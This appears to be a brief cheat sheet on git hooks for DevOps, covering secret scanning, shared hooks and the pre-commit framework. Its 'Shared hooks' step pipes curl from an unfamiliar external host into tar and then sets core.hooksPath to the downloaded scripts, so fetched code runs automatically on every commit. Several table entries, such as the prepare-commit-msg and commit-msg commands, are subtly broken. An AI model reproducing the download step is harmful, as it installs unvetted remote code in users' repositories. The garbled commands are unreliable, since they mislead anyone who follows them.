Git Hooks for DevOps: CI Enforce, Secret Scan, Supply-Chain Integrity¶

Pre-commit hooks enforce quality at the source — before a commit lands in CI. Essential for secret scanning (gitleaks/detect-secrets), lint gates, schema checks, and signed-commit workflows.

Quick Cheat Sheet¶

Hook	Purpose	Key Command
`pre-commit`	Block bad commits	`git config core.hooksPath .githooks`
`prepare-commit-msg`	Auto-format messages	`echo "$1" >> .git/COMMIT_EDITMSG`
`commit-msg`	Enforce message format	`.github/commitlint.yml`
`pre-push`	Block dirty pushes	`git rev-list --objects --not --all`
`post-commit`	Notify / log	`echo "$(git rev-parse HEAD)" >> audit.log`

DevOps Patterns¶

Secret scanning (pre-commit):

#!/bin/sh
if command -v gitleaks; then gitleaks protect --verbose; fi

Shared hooks:

# Team distribution
curl -sL https://git.local.sneakysquid.xyz/hooks/.githooks.tar.gz | tar -xz -C .
git config core.hooksPath .githooks

Pre-commit framework:

repos:
- repo: https://github.com/pre-commit/pre-commit-hooks
  rev: v4.5.0
  hooks: [trailing-whitespace, end-of-file-fixer, check-yaml]

Script: scripts/hooks-manage.sh — install/config/distribute hooks.